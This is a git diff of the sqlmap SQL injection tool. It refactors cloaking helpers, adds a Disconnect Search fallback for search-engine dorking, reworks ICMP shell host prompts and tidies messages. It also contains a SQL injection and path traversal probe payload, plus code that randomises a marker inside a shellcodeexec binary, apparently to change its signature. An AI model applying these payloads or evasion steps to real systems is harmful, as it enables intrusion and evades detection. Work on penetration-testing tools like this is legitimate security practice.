diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py
index a94f6756f..5e7d3c6c6 100755
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -24,17 +24,19 @@ def hideAscii(data):
return retVal
-def cloak(inputFile):
- f = open(inputFile, 'rb')
- data = zlib.compress(f.read())
- f.close()
+def cloak(inputFile=None, data=None):
+ if data is None:
+ with open(inputFile, "rb") as f:
+ data = f.read()
- return hideAscii(data)
+ return hideAscii(zlib.compress(data))
-def decloak(inputFile):
- f = open(inputFile, 'rb')
+def decloak(inputFile=None, data=None):
+ if data is None:
+ with open(inputFile, "rb") as f:
+ data = f.read()
try:
- data = zlib.decompress(hideAscii(f.read()))
+ data = zlib.decompress(hideAscii(data))
except:
print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile
sys.exit(1)
diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_
index 4d699f123..c4204cce6 100644
Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ
diff --git a/lib/core/common.py b/lib/core/common.py
index 9aada65ed..556865764 100755
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -3556,7 +3556,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
for form in forms:
try:
for control in form.controls:
- if hasattr(control, "items") and not control.disabled:
+ if hasattr(control, "items") and not any((control.disabled, control.readonly)):
# if control has selectable items select first non-disabled
for item in control.items:
if not item.disabled:
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 2457770d1..303c10cf4 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -75,6 +75,12 @@ GOOGLE_REGEX = r"url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(
# Regular expression used for extracting results from DuckDuckGo search
DUCKDUCKGO_REGEX = r'"u":"([^"]+)'
+# Regular expression used for extracting results from Disconnect Search
+DISCONNECT_SEARCH_REGEX = r'
([^<]+)
'
+
+# Dummy user agent for search (if default one returns different results)
+DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0"
+
# Regular expression used for extracting content from "textual" tags
TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)"
@@ -437,6 +443,9 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
# Payload used for checking of existence of IDS/WAF (dummier the better)
IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd"
+# Data inside shellcodeexec to be filled with random string
+SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
+
# Vectors used for provoking specific WAF/IDS/IPS behavior(s)
WAF_ATTACK_VECTORS = (
"", # NIL
diff --git a/lib/core/target.py b/lib/core/target.py
index 50158817a..cdfd538f0 100644
--- a/lib/core/target.py
+++ b/lib/core/target.py
@@ -92,8 +92,8 @@ def _setRequestParams():
# Perform checks on POST parameters
if conf.method == HTTPMETHOD.POST and conf.data is None:
- errMsg = "HTTP POST method depends on HTTP data value to be posted"
- raise SqlmapSyntaxException(errMsg)
+ logger.warn("detected empty POST body")
+ conf.data = ""
if conf.data is not None:
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
@@ -223,11 +223,11 @@ def _setRequestParams():
message += "in the target URL itself? [Y/n/q] "
test = readInput(message, default="Y")
- if not test or test[0] not in ("n", "N"):
+ if test and test[0] in ("q", "Q"):
+ raise SqlmapUserQuitException
+ elif not test or test[0] not in ("n", "N"):
conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR)
kb.processUserMarks = True
- elif test[0] in ("q", "Q"):
- raise SqlmapUserQuitException
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py
index 35cfe9881..2e5d3253c 100644
--- a/lib/takeover/icmpsh.py
+++ b/lib/takeover/icmpsh.py
@@ -32,14 +32,26 @@ class ICMPsh:
self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))
def _selectRhost(self):
- message = "what is the back-end DBMS address? [%s] " % self.remoteIP
- address = readInput(message, default=self.remoteIP)
+ address = None
+ message = "what is the back-end DBMS address? "
+
+ if self.remoteIP:
+ message += "[Enter for '%s' (detected)] " % self.remoteIP
+
+ while not address:
+ address = readInput(message, default=self.remoteIP)
return address
def _selectLhost(self):
- message = "what is the local address? [%s] " % self.localIP
- address = readInput(message, default=self.localIP)
+ address = None
+ message = "what is the local address? "
+
+ if self.localIP:
+ message += "[Enter for '%s' (detected)] " % self.localIP
+
+ while not address:
+ address = readInput(message, default=self.localIP)
return address
diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py
index 8717b6c73..10d3a3022 100644
--- a/lib/takeover/metasploit.py
+++ b/lib/takeover/metasploit.py
@@ -8,10 +8,13 @@ See the file 'doc/COPYING' for copying permission
import os
import re
import sys
+import tempfile
import time
from subprocess import PIPE
+from extra.cloak.cloak import cloak
+from extra.cloak.cloak import decloak
from lib.core.common import dataToStdout
from lib.core.common import Backend
from lib.core.common import getLocalIP
@@ -34,6 +37,7 @@ from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException
from lib.core.settings import IS_WIN
from lib.core.settings import METASPLOIT_SESSION_TIMEOUT
+from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER
from lib.core.settings import UNICODE_ENCODING
from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD
@@ -288,7 +292,7 @@ class Metasploit:
def _selectRhost(self):
if self.connectionStr.startswith("bind"):
- message = "what is the back-end DBMS address? [%s] " % self.remoteIP
+ message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
if not address:
@@ -304,7 +308,7 @@ class Metasploit:
def _selectLhost(self):
if self.connectionStr.startswith("reverse"):
- message = "what is the local address? [%s] " % self.localIP
+ message = "what is the local address? [Enter for '%s' (detected)] " % self.localIP
address = readInput(message, default=self.localIP)
if not address:
@@ -640,6 +644,14 @@ class Metasploit:
if Backend.isOs(OS.WINDOWS):
self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32")
+ content = decloak(self.shellcodeexecLocal)
+ if SHELLCODEEXEC_RANDOM_STRING_MARKER in content:
+ content = content.replace(SHELLCODEEXEC_RANDOM_STRING_MARKER, randomStr(len(SHELLCODEEXEC_RANDOM_STRING_MARKER)))
+ _ = cloak(data=content)
+ handle, self.shellcodeexecLocal = tempfile.mkstemp(suffix="%s.exe_" % "32")
+ os.close(handle)
+ with open(self.shellcodeexecLocal, "w+b") as f:
+ f.write(_)
else:
self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch())
diff --git a/lib/utils/google.py b/lib/utils/google.py
index e0f4b08bd..800f366e8 100644
--- a/lib/utils/google.py
+++ b/lib/utils/google.py
@@ -21,8 +21,11 @@ from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HTTP_HEADER
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapGenericException
-from lib.core.settings import GOOGLE_REGEX
+from lib.core.exception import SqlmapUserQuitException
+from lib.core.settings import DUMMY_SEARCH_USER_AGENT
from lib.core.settings import DUCKDUCKGO_REGEX
+from lib.core.settings import DISCONNECT_SEARCH_REGEX
+from lib.core.settings import GOOGLE_REGEX
from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
from lib.core.settings import UNICODE_ENCODING
from lib.request.basic import decodePage
@@ -96,7 +99,7 @@ class Google(object):
warnMsg += "to get error page information (%d)" % e.code
logger.critical(warnMsg)
return None
- except (urllib2.URLError, socket.error, socket.timeout):
+ except (urllib2.URLError, httplib.error, socket.error, socket.timeout):
errMsg = "unable to connect to Google"
raise SqlmapConnectionException(errMsg)
@@ -108,54 +111,67 @@ class Google(object):
raise SqlmapGenericException(warnMsg)
if not retVal:
- message = "no usable links found. "
- message += "do you want to (re)try with DuckDuckGo? [Y/n] "
- output = readInput(message, default="Y")
+ message = "no usable links found. What do you want to do?"
+ message += "\n[1] (re)try with DuckDuckGo (default)"
+ message += "\n[2] (re)try with Disconnect Search"
+ message += "\n[3] quit"
+ choice = readInput(message, default="1").strip().upper()
- if output.strip().lower() != 'n':
+ if choice == "Q":
+ raise SqlmapUserQuitException
+ elif choice == "2":
+ url = "https://search.disconnect.me/searchTerms/search?"
+ url += "start=nav&option=Web"
+ url += "&query=%s" % urlencode(dork, convall=True)
+ url += "&ses=Google&location_option=US"
+ url += "&nextDDG=%s" % urlencode("/search?q=&num=100&hl=en&start=%d&sa=N" % ((gpage - 1) * 10), convall=True)
+ url += "&sa=N&showIcons=false&filterIcons=none&js_enabled=1"
+ regex = DISCONNECT_SEARCH_REGEX
+ else:
url = "https://duckduckgo.com/d.js?"
url += "q=%s&p=%d&s=100" % (urlencode(dork, convall=True), gpage)
+ regex = DUCKDUCKGO_REGEX
- if not conf.randomAgent:
- self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.USER_AGENT.lower()]
- self.opener.addheaders.append((HTTP_HEADER.USER_AGENT, "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0"))
+ if not conf.randomAgent:
+ self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.USER_AGENT.lower()]
+ self.opener.addheaders.append((HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT))
- self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.ACCEPT_ENCODING.lower()]
- self.opener.addheaders.append((HTTP_HEADER.ACCEPT_ENCODING, HTTP_ACCEPT_ENCODING_HEADER_VALUE))
+ self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.ACCEPT_ENCODING.lower()]
+ self.opener.addheaders.append((HTTP_HEADER.ACCEPT_ENCODING, HTTP_ACCEPT_ENCODING_HEADER_VALUE))
+ try:
+ conn = self.opener.open(url)
+
+ requestMsg = "HTTP request:\nGET %s" % url
+ requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
+ logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
+
+ page = conn.read()
+ code = conn.code
+ status = conn.msg
+ responseHeaders = conn.info()
+ page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type"))
+
+ responseMsg = "HTTP response (%s - %d):\n" % (status, code)
+
+ if conf.verbose <= 4:
+ responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
+ elif conf.verbose > 4:
+ responseMsg += "%s\n%s\n" % (responseHeaders, page)
+
+ logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
+ except urllib2.HTTPError, e:
try:
- conn = self.opener.open(url)
+ page = e.read()
+ except socket.timeout:
+ warnMsg = "connection timed out while trying "
+ warnMsg += "to get error page information (%d)" % e.code
+ logger.critical(warnMsg)
+ return None
+ except:
+ errMsg = "unable to connect"
+ raise SqlmapConnectionException(errMsg)
- requestMsg = "HTTP request:\nGET %s" % url
- requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
- logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
-
- page = conn.read()
- code = conn.code
- status = conn.msg
- responseHeaders = conn.info()
- page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type"))
-
- responseMsg = "HTTP response (%s - %d):\n" % (status, code)
-
- if conf.verbose <= 4:
- responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
- elif conf.verbose > 4:
- responseMsg += "%s\n%s\n" % (responseHeaders, page)
-
- logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
- except urllib2.HTTPError, e:
- try:
- page = e.read()
- except socket.timeout:
- warnMsg = "connection timed out while trying "
- warnMsg += "to get error page information (%d)" % e.code
- logger.critical(warnMsg)
- return None
- except:
- errMsg = "unable to connect to DuckDuckGo"
- raise SqlmapConnectionException(errMsg)
-
- retVal = [urllib.unquote(match.group(1)) for match in re.finditer(DUCKDUCKGO_REGEX, page, re.I | re.S)]
+ retVal = [urllib.unquote(match.group(1)) for match in re.finditer(regex, page, re.I | re.S)]
return retVal
diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py
index 21b698b4e..30daccdc1 100644
--- a/plugins/generic/filesystem.py
+++ b/plugins/generic/filesystem.py
@@ -55,10 +55,10 @@ class Filesystem:
localFileSize = os.path.getsize(localFile)
if fileRead and Backend.isDbms(DBMS.PGSQL):
- logger.info("length of read file %s cannot be checked on PostgreSQL" % remoteFile)
+ logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile)
sameFile = True
else:
- logger.debug("checking the length of the remote file %s" % remoteFile)
+ logger.debug("checking the length of the remote file '%s'" % remoteFile)
remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
sameFile = None
@@ -69,14 +69,14 @@ class Filesystem:
if localFileSize == remoteFileSize:
sameFile = True
- infoMsg = "the local file %s and the remote file " % localFile
- infoMsg += "%s have the same size (%db)" % (remoteFile, localFileSize)
+ infoMsg = "the local file '%s' and the remote file " % localFile
+ infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize)
elif remoteFileSize > localFileSize:
- infoMsg = "the remote file %s is larger (%db) than " % (remoteFile, remoteFileSize)
- infoMsg += "the local file %s (%db)" % (localFile, localFileSize)
+ infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize)
+ infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize)
else:
- infoMsg = "the remote file %s is smaller (%db) than " % (remoteFile, remoteFileSize)
- infoMsg += "file %s (%db)" % (localFile, localFileSize)
+ infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize)
+ infoMsg += "file '%s' (%d B)" % (localFile, localFileSize)
logger.info(infoMsg)
else:
@@ -153,7 +153,7 @@ class Filesystem:
if forceCheck is not True:
message = "do you want confirmation that the local file '%s' " % localFile
message += "has been successfully written on the back-end DBMS "
- message += "file system (%s)? [Y/n] " % remoteFile
+ message += "file system ('%s')? [Y/n] " % remoteFile
output = readInput(message, default="Y")
if forceCheck or (output and output.lower() == "y"):
@@ -276,14 +276,14 @@ class Filesystem:
if conf.direct or isStackingAvailable():
if isStackingAvailable():
- debugMsg = "going to upload the %s file with " % fileType
+ debugMsg = "going to upload the file '%s' with " % fileType
debugMsg += "stacked query SQL injection technique"
logger.debug(debugMsg)
written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
self.cleanup(onlyFileTbl=True)
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
- debugMsg = "going to upload the %s file with " % fileType
+ debugMsg = "going to upload the file '%s' with " % fileType
debugMsg += "UNION query SQL injection technique"
logger.debug(debugMsg)